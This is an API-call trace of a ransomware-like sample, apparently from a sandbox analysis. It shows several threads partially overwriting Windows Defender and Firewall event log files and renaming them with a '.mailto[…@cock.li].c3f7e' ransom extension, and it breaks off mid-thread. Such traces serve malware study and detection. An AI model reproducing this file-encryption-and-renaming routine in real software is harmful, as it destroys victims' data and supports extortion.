	[0080.467] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x980
	[0080.467] GetFileSizeEx (in: hFile=0x980, lpFileSize=0x11c3fb38 | out: lpFileSize=0x11c3fb38*=69632) returned 1
	[0080.467] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.467] ReadFile (in: hFile=0x980, lpBuffer=0x11c3fabc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11c3fab8, lpOverlapped=0x0 | out: lpBuffer=0x11c3fabc*, lpNumberOfBytesRead=0x11c3fab8*=0x4, lpOverlapped=0x0) returned 1
	[0080.850] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34078
	[0080.850] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0080.850] NtQuerySystemTime (in: CurrentTime=0x11c3fa98 | out: CurrentTime=0x11c3fa98*=132251868075932651) returned 0x0
	[0080.850] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0xe187b14c
	[0080.850] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x5464ffec
	[0080.850] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0xd3deef5d
	[0080.850] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x985fe93d
	[0080.850] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x17c256ae
	[0080.850] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x1b3ddec9
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x3bed36d0
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0xbdeed689
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x4f30400d
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x839821dd
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0xb33854f0
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x45dd3c7e
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x1e619d05
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x219c6e12
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x2c70a425
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x483ff3ae
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0xc2b46410
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x539408f7
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0xb51a5fab
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x790942fb
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x3ae1a646
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0xdd62845d
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x8df3c2a
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x9f38aae5
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x14b445b6
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x96b3c133
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0xc19721d5
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x2386c454
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x7a6a839a
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0xb1af0bd2
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x7b9a20de
	[0080.851] RtlRandom (in: Seed=0x11c3faa4 | out: Seed=0x11c3faa4) returned 0x8b5bc2b4
	[0080.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34230
	[0080.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34258
	[0080.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0080.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48fb048
	[0080.862] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.862] ReadFile (in: hFile=0x980, lpBuffer=0x48fb048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11c3fa78, lpOverlapped=0x0 | out: lpBuffer=0x48fb048*, lpNumberOfBytesRead=0x11c3fa78*=0xc800, lpOverlapped=0x0) returned 1
	[0081.100] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.100] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.100] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.100] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33bb8
	[0081.100] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33bb8) returned 1
	[0081.101] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fb97e8
	[0081.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33bb8
	[0081.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.104] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.104] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.104] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.104] WriteFile (in: hFile=0x980, lpBuffer=0x4fb97e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11c3fa78, lpOverlapped=0x0 | out: lpBuffer=0x4fb97e8*, lpNumberOfBytesWritten=0x11c3fa78*=0xc800, lpOverlapped=0x0) returned 1
	[0081.234] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fb97e8) returned 1
	[0081.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48fb048) returned 1
	[0081.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x65) returned 0x47ed450
	[0081.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e60
	[0081.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0081.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x65) returned 0x47ec8f0
	[0081.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33dc0
	[0081.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33cd0
	[0081.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33cd0) returned 1
	[0081.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.241] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.241] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x149) returned 0x47348c8
	[0081.241] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.242] WriteFile (in: hFile=0x980, lpBuffer=0x47348c8*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x11c3faf8, lpOverlapped=0x0 | out: lpBuffer=0x47348c8*, lpNumberOfBytesWritten=0x11c3faf8*=0x149, lpOverlapped=0x0) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47348c8) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec8f0) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33dc0) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed450) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33bb8) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34078) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34230) returned 1
	[0081.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34258) returned 1
	[0081.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddb538
	[0081.310] wcscpy (in: _Dest=0x2ddb538, _Source="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx"
	[0081.310] wcscat (in: _Dest=0x2ddb538, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.310] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11c3fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47178c0
	[0081.310] NtSetInformationFile (FileHandle=0x980, IoStatusBlock=0x11c3faa8, FileInformation=0x47178c0, Length=0xc6, FileInformationClass=0xa) returned 0x0
	[0087.764] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47178c0) returned 1
	[0087.764] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b0a8) returned 1
	[0087.764] NtQueryInformationFile (in: FileHandle=0x980, IoStatusBlock=0x11c3fabc, FileInformation=0x11c3fa94, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11c3fabc, FileInformation=0x11c3fa94) returned 0x0
	[0087.764] NtSetInformationFile (FileHandle=0x980, IoStatusBlock=0x11c3fabc, FileInformation=0x11c3fa94, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.766] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb538) returned 1
	[0087.766] FlushFileBuffers (hFile=0x980) returned 1
	[0092.863] CloseHandle (hObject=0x980) 

Thread:
	id = 440
	os_tid = 0x1608

	[0076.973] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20
	[0080.380] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", dwFileAttributes=0x20) returned 1
	[0080.393] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x97c
	[0080.393] GetFileSizeEx (in: hFile=0x97c, lpFileSize=0x11cbf894 | out: lpFileSize=0x11cbf894*=69632) returned 1
	[0080.397] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.397] ReadFile (in: hFile=0x97c, lpBuffer=0x11cbf818, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11cbf814, lpOverlapped=0x0 | out: lpBuffer=0x11cbf818*, lpNumberOfBytesRead=0x11cbf814*=0x4, lpOverlapped=0x0) returned 1
	[0080.401] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813c8
	[0080.401] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0080.401] NtQuerySystemTime (in: CurrentTime=0x11cbf7f4 | out: CurrentTime=0x11cbf7f4*=132251868071401116) returned 0x0
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x8017e69
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x8d6911f1
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x81e3b698
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x7d75dca
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xd30ea8a2
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x5e263e9d
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x399ff5aa
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x2dfc31b1
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x829caeef
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xbd1f02f1
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xe4086b87
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x6e4f003d
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xa88b4df
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x704f9465
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xbcca4418
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xaa534d1f
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x82dbc418
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x95cb883e
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xf8ef7649
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xaff8e464
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x813f2502
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x84a61396
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x9e212b86
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xe6a7066c
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x225bf4d2
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x99304018
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x75e9e37d
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xb699130
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xc9f04f7b
	[0080.401] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0x767bf983
	[0080.402] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xc1573c3
	[0080.402] RtlRandom (in: Seed=0x11cbf800 | out: Seed=0x11cbf800) returned 0xfc75d8
	[0080.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815a8
	[0080.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0080.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0080.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0080.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0080.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47cf7c0
	[0080.410] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.410] ReadFile (in: hFile=0x97c, lpBuffer=0x47cf7c0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x11cbf7d4, lpOverlapped=0x0 | out: lpBuffer=0x47cf7c0*, lpNumberOfBytesRead=0x11cbf7d4*=0xc800, lpOverlapped=0x0) returned 1
	[0080.413] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfae80
	[0080.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0080.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0080.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47dbfc8
	[0080.414] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.414] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0080.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0080.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae80) returned 1
	[0080.414] WriteFile (in: hFile=0x97c, lpBuffer=0x47dbfc8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x11cbf7d4, lpOverlapped=0x0 | out: lpBuffer=0x47dbfc8*, lpNumberOfBytesWritten=0x11cbf7d4*=0xc800, lpOverlapped=0x0) returned 1
	[0080.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47dbfc8) returned 1
	[0080.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf7c0) returned 1
	[0080.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb1) returned 0x476ac28
	[0080.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa48
	[0080.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0080.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0080.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0080.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb1) returned 0x476ace8
	[0080.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0080.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813f0
	[0080.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813f0) returned 1
	[0080.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0080.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa48) returned 1
	[0080.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x195) returned 0x2dc3d68
	[0080.417] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.417] WriteFile (in: hFile=0x97c, lpBuffer=0x2dc3d68*, nNumberOfBytesToWrite=0x195, lpNumberOfBytesWritten=0x11cbf854, lpOverlapped=0x0 | out: lpBuffer=0x2dc3d68*, lpNumberOfBytesWritten=0x11cbf854*=0x195, lpOverlapped=0x0) returned 1
	[0080.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0080.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ace8) returned 1
	[0080.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0080.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ac28) returned 1
	[0080.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0080.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0080.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0080.419] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x47cca88
	[0080.419] wcscpy (in: _Dest=0x47cca88, _Source="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx"
	[0080.419] wcscat (in: _Dest=0x47cca88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0080.419] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x11cbf80c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0080.420] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x112) returned 0x4772080
	[0080.420] NtSetInformationFile (FileHandle=0x97c, IoStatusBlock=0x11cbf804, FileInformation=0x4772080, Length=0x112, FileInformationClass=0xa) returned 0x0
	[0087.815] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772080) returned 1
	[0087.815] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47176e8) returned 1
	[0087.815] NtQueryInformationFile (in: FileHandle=0x97c, IoStatusBlock=0x11cbf818, FileInformation=0x11cbf7f0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x11cbf818, FileInformation=0x11cbf7f0) returned 0x0
	[0087.815] NtSetInformationFile (FileHandle=0x97c, IoStatusBlock=0x11cbf818, FileInformation=0x11cbf7f0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.816] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cca88) returned 1
	[0087.816] FlushFileBuffers (hFile=0x97c) returned 1
	[0093.233] CloseHandle (hObject=0x97c) 

Thread:
	id = 441
	os_tid = 0x160c

	[0076.974] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20
	[0080.466] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", dwFileAttributes=0x20) returned 1
	[0080.466] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a0
	[0080.466] GetFileSizeEx (in: hFile=0x9a0, lpFileSize=0x11d3fbd4 | out: lpFileSize=0x11d3fbd4*=1052672) returned 1
	[0080.466] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.466] ReadFile (in: hFile=0x9a0, lpBuffer=0x11d3fb58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11d3fb54, lpOverlapped=0x0 | out: lpBuffer=0x11d3fb58*, lpNumberOfBytesRead=0x11d3fb54*=0x4, lpOverlapped=0x0) returned 1
	[0080.705] SetFilePointerEx (in: hFile=0x9a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346b8
